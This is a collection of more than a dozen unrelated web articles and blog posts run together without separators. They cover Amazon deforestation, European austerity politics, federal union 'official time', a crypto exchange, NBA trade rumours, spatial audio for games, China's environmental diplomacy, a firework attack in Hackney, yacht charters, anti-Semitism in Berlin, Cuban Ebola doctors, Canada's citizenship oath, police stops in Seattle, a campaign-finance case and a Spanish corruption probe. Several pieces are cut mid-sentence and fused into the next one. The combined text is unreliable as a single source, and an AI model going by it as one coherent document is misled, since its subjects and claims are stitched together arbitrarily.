Izabella Teixeira told participants at a news conference that 4,848 square kilometers (1,870 square miles) of rain forest were destroyed between August 2013 and July 2014. That’s a bit larger than the US state of Rhode Island.
The figures were down from 5,891 square kilometers (2,275 square miles) razed during the same period a year earlier, in the wake of the adoption of a controversial bill revising the Forest Code. The measure, which passed in 2012 after more than a decade-long effort by Brazil’s powerful agricultural lobby, mostly eased restrictions for landowners with smaller properties, allowing them to clear land closer to riverbanks.
Wednesday’s lower figures came as a surprise because many environmental groups had been warning of a second consecutive spike in the annual deforestation numbers, as the forest continues to be razed to make way for grasslands for cattle grazing, soy plantations and logging. Teixiera insisted the numbers were accurate.
Marco Lentini, who coordinates the Amazon program for the World Wide Fund for Nature’s Brazil branch, called the announcement “good news,” adding, “We were surprised.”
“The major message is OK, is good: Brazil has been advancing,” he said, though he cautioned, “It doesn’t mean that deforestation issue is over.”
“We are still very far from this goal of having minimum deforestation,” Lentini said, referring to Brazil’s pledge to reduce deforestation to 3,900 square kilometers (1,506 square miles) per year by 2020.
Brazil’s lowest recorded deforestation figure since 1988, when the country began to use satellites to monitor the forest, came in 2012, when 4,571 square kilometers (1,765 square miles) were clear-cut.
In addition to being home to around one-third of the planet’s biodiversity, the Amazon is considered one of the world’s most important natural defenses against global warming because of its capacity to absorb huge amounts of carbon dioxide. Rain forest clearing is responsible for about 75% of Brazil’s emissions, as vegetation is burned and felled trees rot.
The Amazon extends over 6.1m square kilometers (3.8m square miles), with more than 60% within Brazil’s borders.Photo
Kevin O’Rourke points me to the FT’s Brussels blog, which passes on the news that various officials at the European Commission are issuing outraged tweets against yours truly. You see, I’ve been mean to Olli Rehn.
And the EC response perfectly illustrates why I do what I do.
What you would never grasp from those outraged tweets is that all my criticisms have been substantive. I never asserted that Mr. Rehn’s mother was a hamster and his father smelt of elderberries; I pointed out that he has been promising good results from austerity for years, without changing his rhetoric a bit despite ever-rising unemployment, and that his response to studies suggesting larger adverse effects from austerity than he and his colleagues had allowed for was to complain that such studies undermine confidence.
It’s telling that what the Brussels blog calls a “particularly nasty attack” was in fact a summary of Paul DeGrauwe’s work indicating that European austerity has been deeply wrong-headed, in the course of which I quoted Mr. Rehn asserting, once again, that old-time austerian faith.
Now, it’s true that I use picturesque language — but I do that for a reason. “Words ought to be a little wild”, said John Maynard Keynes, “for they are the assault of thoughts on the unthinking.” Exactly.
Kevin O’Rourke refers to the “cocooned elites in Brussels”, which gets to the heart of the matter. The dignity of office can be a terrible thing for intellectual clarity: you can spend years standing behind a lectern or sitting around a conference table drinking bottled water, delivering the same sententious remarks again and again, and never have anyone point out how utterly wrong you have been at every stage of the game. Those of us on the outside need to do whatever we can to break through that cocoon — and ridicule is surely one useful technique.
There’s an especially telling tweet in there about how “unimpressive” I was when visiting the Commission in 2009. No doubt; I’m not an imposing guy. (I’ve had the experience of being overlooked by the people who were supposed to meet me at the airport, and eventually being told, “We expected you to be taller”). And for the life of me I can’t remember a thing about the Commission visit. Still, you can see what these people consider important: never mind whether you have actually proved right or wrong about the impacts of economic policy, what matters is whether you come across as impressive.
And let’s be clear: this stuff matters. The European economy is in disastrous shape; so, increasingly, is the European political project. You might think that eurocrats would worry mainly about that reality; instead, they’re focused on defending their dignity from sharp-tongued economists.Witold Skwierczynski has not done work for the Social Security Administration for more than 30 years, even though he was paid by the agency as a claims representative the entire time.
Instead, he spends his days on full-time release from his regular job to work for his federal employee union.
The practice is called "official time," a creation of the 1978 Civil Service Reform Act. It allows union representatives to do exclusively union business while still drawing full pay and benefits from the taxpayers.
Too big to manage
Wall Street banks were described in 2008 as "too big to fail." Is the federal government too big to manage? A four-part series by the Washington Examiner.
Part One: High-cost union officials get their paychecks from taxpayers but spend no time on the job
Today: Union lobbying is bankrolled by taxpayers through official time
Part Three: Union-friendly politicians reap the rewards for protecting official time
Part Four: Powerful unions block transparency, reforms of official time
Click here to see a summary of the series and find more resources
Official time cost about $155.6 million in 2011, the most recent year for which totals are available from the Office of Personnel Management.
Federal employees spent 3.4 million hours working for their unions at taxpayers' expense, the equivalent of more than 1,700 full-time positions.
The only restriction is that official time cannot be used for strictly internal union business like conducting elections or collecting member dues.
Lobbying Congress is permitted. And high on the perennial list of union legislative priorities is killing any bill that would limit official time.
The law does not limit the number of hours an agency can allow. It says union representatives shall be granted whatever time is “reasonable, necessary, and in the public interest,” as determined by agency managers and union officials.
Resolving disputes was the justification most often cited by union officials contacted by the Washington Examiner.
Official time allows workplace disagreements and personnel actions to be resolved informally, before they become more rigid and produce costly grievances and lawsuits. That leads to a safer, fairer and more productive workplace, union representatives say.
But to critics, official time is a pure giveaway of taxpayer dollars to politically powerful unions.
“Effectively, it has the same effect of giving the public employee unions $155 million a year when you are subsidizing staff time like that,” said James Sherk, senior policy analyst in labor economics at the Heritage Foundation.
“The core function of the union is supposed to be representation of workers and workplace grievances and negotiating contracts,” Sherk said. “What the federal government does is essentially have the taxpayers pick up the tabs for all those functions.
"That’s what their dues are supposed to go for, but because the taxpayers are picking up the cost of these basic union responsibilities, the unions have far more money freed up to spend however else they want.”
Even many critics concede there needs to be some allowance for union stewards to be released from their regular duties to represent members, though they maintain the unions instead of the taxpayers should pay for that time.
But direct representation of workers is a small fraction of what official time is used for, according to the most recent OPM report, which breaks the hours into four categories.
Dispute resolution accounts for only about 15 percent of the official time used government-wide, according to OPM.
By far the biggest category is the ill-defined “general labor-management relations,” which represents 76 percent of the official time hours used across all federal agencies.
The balance is spent on contract negotiations. Lobbying on official time is legal, though some unions and contracts prohibit it.
Skwierczynski, president of the AFGE-affiliated National Council of Social Security Administration Field Operations Locals, says the lobbying he does on official time typically is to push Congress to spend more money on the agency.
More money means more people to process claims. That means shorter waits and better service for those seeking Social Security benefits and services, he says.
“Much of that effort has to do with trying to get Congress to appropriate an adequate budget for Social Security so they can have sufficient staff to do the work that Congress wants us to do,” Skwierczynski said of his lobbying on official time. “I think efforts like that are inherently beneficial to taxpayers.”
He downplays the notion that adding Social Security employees also swells union rolls.
“That’s not the motivating factor, more members of the union,” he said. “We have to convince them to join.”
Some politically active unions do not lobby on official time. NATCA, the air traffic controllers’ union, is among them, according to spokeswoman Sarah Dunn.
Chris Crane, president of the AFGE-affiliated ICE Council, which represents immigration and customs agents for the Department of Homeland Security, said he does not use his official time when meeting with members of Congress.
“When you see Chris Crane in front of Congress, |
activate the link to validate the account. There are several verifications such as email verification, personal information, video verification and company trading. These verifications are levels, which a user has to clear to increase its limits in every service offered by Cointed.
Buy/sell at Cointed
A user will have to fund his wallet before making any transactions. Thus, a user can use one of the many payment options available to transfer EUR in his wallet. Once there is sufficient balance, a user can begin with both trading and exchange.
For buying a crypto, a user can either trade or purchase it directly. The user can select the amount of investment along with the crypto he is interested to purchase. There is 60 secs timer that updates the real-time price of the market. The user can choose to enter the address and place the order. The procedure for selling a crypto is same. The user must check the pricing though along with 24-hour trade volume and in depth pricing as per different timelines.
Was this post helpful? Let us know if you liked the post. That’s the only way we can improve.AUGUST 17, 10:59am: The original article at ESPN.com on Wade and the Bulls has been updated (hat tip to Blog A Bull) — without a source to confirm his initial claim, Friedell no longer suggests a buyout is “expected.” While Friedell has backed off that assertion, he still says that “nobody would be surprised” if Wade decides he wants out of Chicago and reaches a buyout agreement with the team in the next few months.
AUGUST 16, 3:18pm: Few NBA teams are expected to drop in the standings this season like the Bulls, who lost two of their top players this summer when they traded Jimmy Butler and waived Rajon Rondo. The third member of last season’s “three alphas” – Dwyane Wade – also isn’t long for Chicago, according to Nick Friedell of ESPN, who writes that Wade and the Bulls are expected to reach a buyout agreement at some point in the coming months.
Wade, who inked a two-year deal with the Bulls in 2016, had a player option for the 2017/18 season, giving him the opportunity to head elsewhere in free agency if he so chose. Wade opted in before the Bulls traded Butler and cut Rondo, though it’s not clear if those moves would have impacted his decision anyway — exercising his player option puts Wade in line to earn $23.8MM this season, and he wouldn’t have matched that annual salary if he’d opted out and signed a new contract.
Still, shortly after Wade opted in and the Bulls opted to rebuild, rumors begin to swirl about a possible buyout. For their part, the Bulls have attempted to put those rumors to rest. Executive VP of basketball operations John Paxson suggested in June that any buyout agreement would have to be “advantageous” to the franchise, and head coach Fred Hoiberg said last month that he didn’t expect Wade to be bought out.
At the time Hoiberg made his comments in July, Friedell indicated there was a “widespread belief” among Bulls officials that Wade wouldn’t be willing to give up enough of his $23.8MM salary to make a buyout worthwhile for the club. Considering Friedell is now writing that an agreement is expected to happen at some point in the next few months, he may have heard something in recent weeks that influenced his view on the subject, though it’s worth noting that he doesn’t cite any sources.
There’s no real deadline for the Bulls and Wade to reach a buyout agreement, though veterans are generally bought out before March 1 so that they retain their playoff eligibility. As Friedell details, Chicago has shifted to full-fledged rebuilding mode and shouldn’t mind finishing among the NBA’s cellar-dwellers in 2017/18. Parting ways with Wade would help out the Bulls in their race to the bottom, so it’s possible the team won’t wait until February to explore a buyout.Statial ("3D") sound greatly enhances games for children who are visually impaired but the audio node in HTML5 doesn't even support panning left and right much less the time delay and filtering of true spatial audio. This post describes a python script I hacked to transform sound files so that they appear to originate from points surrounding the listener.
I used the HRTF Measurements of a KEMAR Dummy-Head Microphone made at MIT in 1994 and freely available on the web. The compact folder in my git repo is the result of unpacking compact.tar.Z. The files contain the impulse response for the left and right ear for a source positioned 1.4 meters away from an anatomically correct head at many different azimuth and elevation angles.
The script uses sox to convert whatever sound format you give it to a single channel sampled at 22050Hz. Then it steps in 5 degree increments from 0 degrees (directly in front) to 180 degrees (directly behind) around the right side. It filters the sound with the left and right ear impulse responses and encodes it into mp3 and ogg format. It then swaps the left and right channels to produce the corresponding file for the left side (negative azimuth angles). I only generate positions in the horizontal plane but other elevations from -40 to 90 degrees are possible with the provided HRTFs.
The github repository is here: https://github.com/uncopenweb/3DSound. You'll need python, numpy, and scipy as well as sox to run the script.
Running the script like this:
python hrtf.py laser.mp3 laser
would read a sound file named laser.mp3 and produce 142 files in a folder named laser.
Given the sound files, we should be able to simulate the sound of an enemy spaceship flyby starting with laser/a-90.ogg and advancing to laser/a90.ogg in whatever steps seem appropriate. I may write a little wrapper script for jsonic to automatically choose the sound file and volume based on angle and distance. Of course, not every game will need all the files; simply choose the ones you need. For example, I doubt we need 5 degree steps, 10 or even 15 degree steps should sound fine.
I'm hopeful we can have some new spatial sound games ready for Maze Day 2011.The major impact that international summits and treaties have had on China's environmental governance is often overlooked. Environmental protection first emerged as an issue in China in 1972, after the country dispatched a delegation to the UN Conference on the Human Environment in Stockholm. Participation in this event was an important step forward for Chinese diplomacy. More importantly, it marked the point at which China began to create environmental authorities and laws.
But the influence of multilateral processes is now waning. The UN-led climate talks suffered major setbacks at the Copenhagen conference in 2009. The 2012 Rio+20 summit proved a pale comparison with its predecessor two decades previously, with results that came nowhere near to touching the three major treaties concluded at the original conference.
The world's hopes for China are contradictory – the country is expected to contribute to economic growth, but also to cut carbon emissions and pollution. This has changed China's role, from that of a backward pupil to a demanding negotiator.
As a result, the simple cause and effect relationship between international processes and Chinese environmental governance has changed. For the layman spectator, it may seem that an increasingly muscular China now shapes the international processes much more than those processes influence Chinese policy.
This is only partially true. Those who argue China is taking a tough and conservative stance in environmental negotiations have missed something. Imported ideas such as the precautionary principle, principles of pollution being borderless, of fair distribution of burdens, of common but differentiated responsibilities, all of these foreign norms are constantly under discussion in China, including sometimes in official statements on domestic environmental governance.
These trends raise a number of questions. Will China's worsening environment trigger a change in attitudes to international environmental talks? Will China re-evaluate the value of multilateral environmental processes? And will China's new leadership change its policy on environmental diplomacy?
Tackling the environment
China's environmental challenges have hit a new peak, and the people are no longer able to overlook the failings of environmental protection. No matter how difficult it is to achieve, no matter what the setbacks are, China needs tougher environmental policy. This is something the international community hopes for, and China's environmental conditions require.
And it appears to coincide with the stance of new president Xi Jinping. Speaking ahead of his first presidential tour abroad, which culminated in the fifth summit of BRICS nations (Brazil, Russia, India, China, South Africa) in late March, Xi told journalists from those countries that China would take on more international responsibilities. It remains to be seen if this means gradual change in China's environmental diplomacy, but it is certain a rethink is urgently needed.
Meanwhile at international level, multilateral processes must make clear efforts to promote effective environmental governance in China. "Smart power" must be used when drawing up international environmental laws to make such legislation "cleverer". If the Minimata Convention on Mercury, reached under the UNEP framework in January this year, teaches us anything it is surely that expecting international law alone to force major policy changes in China is wishful thinking. China is hardly in a position to commit to the most ambitious mercury emissions standard for coal power plants when the corresponding domestic standards are not yet in place.
The design of international mechanisms must be based on a full understanding of China's environment laws, its methods of managing domestic policy and its diplomatic approach and negotiating style. Otherwise a mismatch between international expectations and Chinese realities is likely.
One symptom of that disconnect is an overestimation of the Chinese government's ability to manage different domestic interests and ensure compliance. Although the government attempts to achieve targets through policy, those policies are often distorted during implementation, even to the point that the government fails to comply with its commitments. The rampant wildlife smuggling stemming from China's inability to control either smugglers or consumption is a typical example.
Of course, the degree to which international treaties can play a role is not set in stone but determined by the process in each specific case. Such mechanisms should act as catalysts of change and for them to do so their design must be detailed and subtle. The most important question is how to connect such a tool with China's own style of environmental management. So far, this level of thinking has been missing both in China and abroad.
Don't give up on China
In international climate talks, promoting transparency in the form of measurable, reportable and verifiable data, for example, builds international trust and helps individual countries to understand their own circumstances. Another example is the Kyoto Protocol, the core of which is quantified emissions targets for industrialised countries. Undeniably, this legal framework gets to the heart of the task of cutting greenhouse-gas emissions. But is this kind of legal obligation the best approach for new climate mechanisms under the platform agreed in Durban in 2011? The new mechanism will be applicable to all – can this arrangement account for different countries' contexts? Can it be inclusive, and make the maximum possible use of potential for emissions cuts and changes in energy structure?
If diplomats negotiate international treaties without a full understanding of China's legal and policy environment, there will be no boost to the ecological cause in China, and global environmental governance will be stuck with the lowest common denominator. The worldwide environmental crisis is already grave and there is a pressing need for China's active participation in solving it, but the world's understanding of this dimension of China is still at beginner's level.
Finally, two extreme points of view – both common in the international political arena – need to be recognised. One is an excessive assertiveness, or even unconstructive China bashing; the other a tendency of pessimists in multilateral institutions to give up on China.
These positions ignore the real changes that international climate agreements can bring to a country. Without the Stockholm conference, China's environmental awareness and administrative framework would have been neglected for many more years. Even the Copenhagen climate talks, regarded as a failure, prompted emission commitments from China, as well as further and sustained attention from the Chinese public and NGOs. These effects will, in the long term, have immeasurable impacts.
So how to work with the Chinese giant? As China reconsiders the world, the world also needs urgently to rethink China. This challenge will remain as long as this heavyweight sits at the negotiating table, and only get harder as time goes on. People must learn how to work with China in multilateral climate processes, and the same is true for China's negotiators.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
A toddler has been burnt after being hit by a firework in east London.
The two-year-old suffered a burn on their foot today after “idiots” hurled bangers round Clarence Place, Hackney.
Sargeant Adam Turvey told the Standard that the incident, which happend around 8.30pm, was being investigated as common assault.
Police later confirmed that the child was “fine” and had suffered a small burn on their foot.
However, those responsible for throwing the rocket "ran away seconds later", police said.
The incident marked the 11th call over firework safety officers were forced to attend today.
Sgt Turvey said: "All of the calls we have received about fireworks being thrown have described youths as suspects.
"I would urge parents to ensure that their children are not buying fireworks, or getting people to buy fireworks on their behalf.
"Any children found in possession of certain fireworks are liable to be arrested."
Earlier this week, footage emerged of a gang of youths hurling fireworks at cyclists on a housing estate in the area.
The 20-second clip appears to show a group of around seven young men, clad in dark clothing, throw bangers at two cyclists as they pass a block of flats in Springfield, Hackney.
The video, shared on Twitter by Shomrim NE London, was taken just before 10pm on October 22.
Mark Hazelton, group manager for community safety at London Fire Brigade branded the actions “incredibly dangerous”.
He said: “Using fireworks in this way is incredibly dangerous and can cause serious injury or worse. People should never throw fireworks and should never put them in their pockets.
“It is far safer to go to organised displays rather than lighting fireworks yourself. If you do choose to host your own display, it is vital to follow the Firework Safety Code.”
Dr Fenella Wrigley, Medical Director at London Ambulance Service, added: “Around November 5, our ambulance crews will treat a number of patients, children and adults, ranging from those with minor burns to those with more serious, life-threatening injuries.
“It is easy to forget how dangerous fireworks, bonfires and even sparklers can be. Sparklers get five times hotter than cooking oil and a rocket can reach speeds of 150mph.
“Fireworks used properly are safe and accidents are avoidable. However, they can cause devastating injuries or even death if safety precautions are not followed or judgement is impaired through alcohol consumption."
Members of the public are urged to call 101 if you see anybody throwing fireworks or people whom you believe are too young to be in possession of fireworks.Booked up to 9 months in advance, according to Bespoke Yacht Charter Broker, Alexander Coles, event charters offer a myriad of advantages for such companies during these trade shows. Synonymous with wealth and power, the yacht itself can act as a canvas for a company's brand, significantly increasing its standing during the show through the use of banners, flags, custom carpets and lots more.
Yachts can also act as a relatively affordable type of accommodation for key company employees during a time when hotel rates go through the roof, such as during the MIPIM in Cannes. A yacht berthed near the Palais des Festivals also provides a ton of space for client meetings during trade shows with most yachts boasting at least 5 meeting areas. Some yachts can also be used for large presentations on the sundeck with full A/V equipment.
Chartering a yacht for such an event also allows to completely dodge the hassle of trying to book a table at a trendy restaurant by letting you host your own private lunches and dinner on your yacht.
Using a combination of the yacht and the quay, we have arranged cocktail parties at MIPIM for in excess of 500 people!
Alexander Coles, Charter Broker, Bespoke Yacht Charter
Bespoke Yacht Charter, thanks to their 14 years of experience with event charters, are in fact able to handle everything you need from identifying the best suited yacht for your company to handling berth applications and briefing the crew. To ensure a smooth experience, it's however necessary to plan ahead the number of guests and number of events to be held during the show.
The majority of yachts can easily welcome 25-30 guests on board for cocktails with most welcoming 60 on board at any one time. In so many cases, the older yachts are the most seasoned when it comes to events charters and are used to welcoming on board large numbers.
Alexander Coles, Charter Broker, Bespoke Yacht Charter
To ensure the best possible location in the marina, it's also necessary to book such charters in advance as berths are allocated on a first come, first served basis by local port authorities. Many companies in fact book their berths a year in advance.
Most yachts will require arrangements to be made with large event caterers as their own chefs might be unable to handle large crowds. The choice of the caterer is key in a successful event charter according to Bespoke Yacht Charter as they provide the crew with additional storage space and man power. Entertainment is also an important factor for such events and options are limitless, ranging from DJs to magicians to beauty treatments.
Surprisingly, one of the most in demand features for such charters has become the possibility to cruise on the yacht during the event. Companies now want to treat their VIP clients to private lunches at anchor or to sunset cruises along the coast. Whilst most yachts are only able to transport 12 guests onboard, SOLAS classified ones can carry up to 36 guests and might be more suited for some charters.
T. +44 20 7368 3328
If you've ever been to the MIPIM real estate show or the Cannes Lions advertising festival, you've probably seen some of the most famous brands such as MailOnline or Yahoo chartering a superyacht to act as their local headquarters.Facebook has apologised for censoring a viral video of an anti-Semitic attack on a Jewish restaurant owner in which he and a 60-year-old German man argued about the Israeli-Palestinian conflict with the latter telling the business owner he deserved to be put in a “gas chamber”.
Facebook apologised for taking down the video, which had been shared hundreds of thousands of times, saying: “Our reporting systems are designed to protect people from abuse, hate speech, and bullying, and we regret occasionally making mistakes when handling such reports. We know that it can be frustrating when such a mistake happens and apologise for it,” Der Spiegel reports.
The video shows the incident, which took place Berlin’s Schöneberg district, where the 60-year-old gets aggressive and starts ranting about the recent decision made by U.S. President Donald Trump to move his country’s Israeli embassy to the capital, Jerusalem.
The older man then tells the Jewish restaurant owner: “With you, it’s all about the money.” He then speaks to the 29-year-old friend of the owner saying: “You’ll all end up in the gas chamber.”
Anti-Semitic Migrants Strengthening Intolerance Concerns For German Jews http://t.co/R03LKPNU42 pic.twitter.com/v6LXQhhogA — Breitbart London (@BreitbartLondon) October 6, 2015
A police car happened to drive by during the incident and police later confirmed that the man had been taken into custody. The man is said to have resisted the arresting officers and is now facing possible charges for both incitement and resisting arrest.
Anti-Semitic incidents in Germany have been on the rise in the last few years. Berlin, in particular, has seen many anti-Semitic incidents in recent months.
Schools, especially those with many children from Muslim-migrant backgrounds, have claimed that the phrase “You Jew!” has become a common playground slur. In one Berlin school, a Jewish boy was forced to switch schools because of harassment and violence due to his religion.
After the announcement by President Trump earlier this month to move the U.S. embassy to Jerusalem, several protests against the move in Berlin have contained anti-Semitic imagery with one even calling for a violent uprising or “intifada” while another saw Israeli flags burned.The Cuban government is sending 165 doctors and nurses to battle the Ebola outbreak in West Africa, the World Health Organization (WHO) announced this morning in Geneva, Switzerland, at a joint press conference with Cuba’s minister of public health, Roberto Morales Ojeda. The health care workers, 103 nurses and 62 doctors, are going to be deployed to Sierra Leone in the first week of October.
It is the biggest contribution of health care staff by any single country so far to help control the epidemic, noted WHO Director-General Margaret Chan. “This will make a significant difference in Sierra Leone,” Chan said.
To put the numbers in perspective: WHO has deployed about 500 foreign medical experts to the region. Because they rotate, at any one time about 170 of them are in the affected countries, Chan said.
Ebola has already sickened at least 4784 people and killed 2400 in the biggest outbreak on record, and its spread is still accelerating. Several governments have pledged support. For instance, the British government and the Wellcome Trust medical charity have announced they will spend £6.5 million to speed up research on Ebola vaccine candidates. Germany’s Ministry for Economic Cooperation and Development has announced it is increasing its contribution to WHO to fight Ebola from €1 million to €10 million. And the Bill & Melinda Gates Foundation has pledged $50 million to fight Ebola. But that does not address the main problem, experts say. “Money, materials are important, but those alone cannot stop Ebola transmission,” Chan said at the press conference. “The thing we need most of all is people.”
According to WHO, more than 200 health care workers are needed to run an isolation ward with 70 beds. While it is still unclear how many Ebola patients there are altogether, WHO estimates several hundred extra beds are needed in Liberia alone. At the moment there is not a single bed available in the whole country to treat Ebola patients, Chan said.
Several people on the ground in Liberia have confirmed that Ebola patients are being turned away at the treatment center in Monrovia to avoid staff being overwhelmed. “We need more actions. We need to surge at least two to four times in order to catch up with the outbreaks in these three countries,” Chan said. “I hope the announcement today will stimulate more countries to surge their support.”
*The Ebola Files: Given the current Ebola outbreak, unprecedented in terms of number of people killed and rapid geographic spread, Science and Science Translational Medicine have made a collection of research and news articles on the viral disease freely available to researchers and the general public.Image copyright Getty Images
Canada's Supreme Court has rejected an appeal to remove the country's citizenship oath, which requires applicants to swear allegiance to Queen Elizabeth II.
The appeal was launched by three permanent residents who wanted to obtain citizenship but not pledge allegiance to the UK monarch.
Native-born Canadians do not have to take any oath.
The plaintiffs say the vow violates religious and conscientious beliefs.
Simone Topey, a Rastafarian from Jamaica says that his religion forbids him from taking an oath to any person, while Dror Bar-Natan, an Israeli, argued that the oath represents entrenched privilege he opposes.
"I can't do something that I don't believe in," Topey, told reporters outside a Toronto court on Tuesday according to Canadian TV News. "I want to be real to Canada, I want to be loyal to the country. I'm trying to become a citizen not a subject."
Michael McAteer, a staunch republican from Ireland, says he believes the oath is unnecessary and would violate his conscience.
The trio's lawyer Peter Rosenthal told the Court of Appeal on Tuesday that allowing would-be citizens to opt out of the oath doesn't cause any harm.
"Someone who wants to be a citizen is being forced to say, 'I support the constitutional monarchy,'" he said. "How repugnant must that be to someone who's a staunch anti-monarchist?"
'Literal approach'
Australia, also a constitutional monarchy, scrapped its pledge to the monarchy 20 years ago.
Government lawyer Kristina Dragaitis argued the monarchy symbolizes the Constitution, the rule of law and the right to dissent. She said, the appellants are taking a "literal approach" to the oath.
The Supreme Court, as is customary, gave no reasons for refusing to hear the appeal.Has being stopped by a police officer for no violation made me angry? Yes, it has.
EARLIER this year, Seattle Times columnist Danny Westneat called me at home. A portion of our discussion appeared in his July 10 column “Driving While Black.” We talked about a broad range of things, including my various traffic stops by the Seattle Police Department. I wasn’t speeding nor did I have an issue with my car.
Four stops occurred in my neighborhood, two on Beacon Hill, and one near the intersection of Rainier Avenue and Martin Luther King Jr. Way. I was never ticketed but was always asked, “Do you live in this neighborhood?” or “Where are you going?”
Earlier this year, I was pulled over by a SPD officer for the eighth time. This time, I was stopped because one of my car’s headlights was out.
What happens to a dream deferred? Does it dry up like a raisin in the sun? Or fester like a sore — And then run? Does it stink like rotten meat? Or crust and sugar over — like a syrupy sweet? Maybe it just sags like a heavy load. Or does it explode? — Langston Hughes
Up to this point, I only had shared with my wife, Cayan, the time years ago when officers turned their car’s high beams in my face when I was walking home from work. They were laughing and then turned them off.
As a parent I am still irritated about the officer who stopped my kids on their way to football practice at Rainier Playfield. They were in their practice uniforms. The officer asked where they were going and if they lived in the neighborhood. When my kids replied, yes, he told them black kids didn’t live in that neighborhood.
I remember venting about this with Ron Sylve, a lieutenant with the SPD, who had spent hundreds of hours coaching football in South Seattle. He also co-founded with me the Paul Robeson youth achievement awards.
Later, when I served on a panel that would recommend a new police chief to Seattle Mayor Ed Murray, I shared with each candidate that I had been stopped by Seattle officers seven times. No one questioned the racial implications of my statement. I wanted to alert them to the need for training.
I had also confided the stops to members of my security detail during my 13 years as King County Executive. Their advice: When stopped by police while driving, put my registration, driver’s license and insurance card on the dashboard; roll down the window and keep both of my hands on the wheel. If it’s at night, do all of this after turning on the dome light. This is what I did earlier this year at my eighth stop.
Cayan and I drink a lot of coffee. My favorite blend comes from Peet’s Coffee across from Green Lake. One morning I was driving to Peet’s because we had run out of coffee. As I pulled up to the stoplight at Rainier Avenue South and South Dearborn Street, I saw the blue and red lights behind me. A voice over the loud speaker said I was stopped because a headlight was out.
The officer ran my plates and walked up to my car. I gave him my car registration, driver’s license and insurance card. I kept saying to myself, why didn’t the officer just tell me that I had a headlight out?
After returning to my car he then asked me, with an authoritative voice, where are you going? I shook my head. I was in disbelief. I said with some firmness that I was going to get a cup of coffee. His question was unprofessional. It wasn’t any of his doggone business what I was doing. As I drove away, I assumed he was a new officer. I also felt he had nothing better to do than to bother me.
When I went to the auto supply shop to get my headlight fixed, the store manager struck up a conversation and asked me if I needed two new headlights. I told her I only needed one. She asked, “Was your dashboard indicator light on?” I told her, no, that a police officer had stopped me. She couldn’t believe it.
Cayan and I have very dear friends who are law enforcement officers. Neither of us would want their jobs. A majority of police officers serve the public quite well. They are professionals. They are also coaches, tutors and volunteers doing amazing work in the community. And I believe that they would not hesitate to step between you and harm’s way. This is why I respect the work of police officers. Most of my experiences with them have been very good, and because of that, I always thank them for their service.
Has being stopped by a police officer for no violation made me angry? Yes, it has. It is demeaning and hurtful. Why me, I ask myself. Why me? I didn’t deserve this! Even after all of these years, it still seems such an unfair price to pay. The stench of it seeps deep into my pores.Novelist Patricia Cornwell, billed as America’s No. 1 crime writer, is entangled in a real-life federal investigation into the expenditure of tens of thousands of dollars in illegal campaign contributions to Hillary Rodham Clinton’s 2008 presidential campaign, court records show.
Evan Snapper, a former wealth manager awaiting sentencing in federal court in Washington, D.C., for illegal campaign donations, says he helped funnel campaign contributions as a favor to Ms. Cornwell, once an important and powerful client of his firm, according to a sentencing memo filed Friday.
“Mr. Snapper has acknowledged he took those steps on his own initiative to conceal the true purpose of the payments for political contributions, in order to protect his client,” the memo said.
But attorneys for Ms. Cornwell, who has not been charged with any wrongdoing in the government’s campaign finance probe, say they think Snapper falsely accused her in the bundling of illegal campaign cash for the Clinton campaign after she sued him.
The accusation was part of Ms. Cornwell’s ongoing civil lawsuit against Snapper and the firm where he used to work, which accuses them of mishandling the author’s finances. He and the firm are fighting the suit, which was filed in federal court in Massachusetts.
Snapper has pleaded guilty to helping funnel $48,300 in illegal campaign donations to Mrs. Clinton’s campaign. Prosecutors say he caused the Clinton campaign to “unwittingly” file false reports with the Federal Election Commission (FEC).
In describing the case, federal prosecutors have said Snapper and 20 others agreed to buy tickets to an Elton John concert in April 2008 to raise money for Mrs. Clinton’s campaign, with the understanding that they all would be reimbursed by one of his clients — described as “Person A.”
Federal law makes it illegal for a single individual to donate more than $2,500 to a campaign, and in 2008 the limit was $2,300. No campaign officials were accused of taking part in the scheme.
Prosecutors have not mentioned Ms. Cornwell in any court filings, but recent records in her civil lawsuit and Snapper’s sentencing memo leave little doubt about the identity of Person A: “For example, in handling Ms. Cornwell’s political contributions, Mr. Snapper knowingly and willfully caused the Hillary Clinton for President Committee to file with the [FEC] reports that falsely identified the source of approximately $48,300 in individual political contributions associated with Ms. Cornwell,” her attorneys argued.
Attorneys for Ms. Cornwell also say that after she filed her civil lawsuit against Snapper, he “sought to falsely accuse Ms. Cornwell of instructing Snapper to engage in the illegal bundling with the knowledge of its illegality,” filings state.
“As a result of these false allegations, Ms. Cornwell was compelled to incur substantial legal fees and related costs to assist the government in its investigation into the unlawful campaign contributions.”
Attorneys for Ms. Cornwell declined to comment, as did Snapper’s attorney.
Snapper is cooperating with federal authorities, according to filings in his criminal case. His sentencing memo also says he helped Ms. Cornwell — but not in her name — in campaigns for Republican James S. Gilmore III. The former Virginia governor was not immediately available after The Washington Times contacted the Free Congress Foundation, where he is the chief executive.
The memo said Snapper and his wife gave more than $9,000 to Mr. Gilmore’s presidential and Senate campaigns, but later reimbursed the money from an account belonging to Ms. Cornwell. Federal campaign law makes it illegal for a person to reimburse someone else for campaign donations. Snapper’s memo said Ms. Cornwell wasn’t comfortable donating money to him directly because of philosophical differences on gay marriage. In 2007, Ms. Cornwell disclosed her marriage to a woman named Staci Ann Gruber, the memo said.
U.S. District Judge Paul L. Friedman recently granted Snapper’s attorney, Evan Barr, permission to redact portions of his sentencing memo, which asks for no prison time.
Solomon Wisenberg, a Washington defense lawyer who specializes in white-collar cases and who served as deputy independent counsel, the No. 2 attorney in the investigation of White House intern Monica Lewinsky in the Whitewater investigation, said it’s not uncommon for sentencing memos to be sealed under certain circumstances. He said one example is when a defendant has cooperated or is continuing to cooperate in an ongoing federal investigation.
According to defense filings in Snapper’s criminal case, the FEC also is looking into the contributions. FEC attorneys and Snapper’s attorney have negotiated a potential settlement calling for a $65,000 penalty, records show.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.MADRID (Reuters) - A former treasurer of Spain’s ruling party, at the heart of a corruption scandal that has hurt Prime Minister Mariano Rajoy, was ordered to surrender his passport on Monday while judges investigate millions of euros he deposited in Swiss banks.
Former People's Party treasurer Luis Barcenas carries documents as he leaves Spain's High Court after testifying before a judge in Madrid, February 25, 2013. REUTERS/Juan Medina
Luis Barcenas is accused of using his position to take bribes, evade taxes by hiding the proceeds in Switzerland and launder money through shell companies, charges that carry prison sentences of up to six years and fines.
The long-running High Court investigation of Barcenas and a graft case involving the son-in-law of Spain’s king have enraged Spaniards at a time when deep recession has pushed unemployment to 26 percent and the government has slashed public spending.
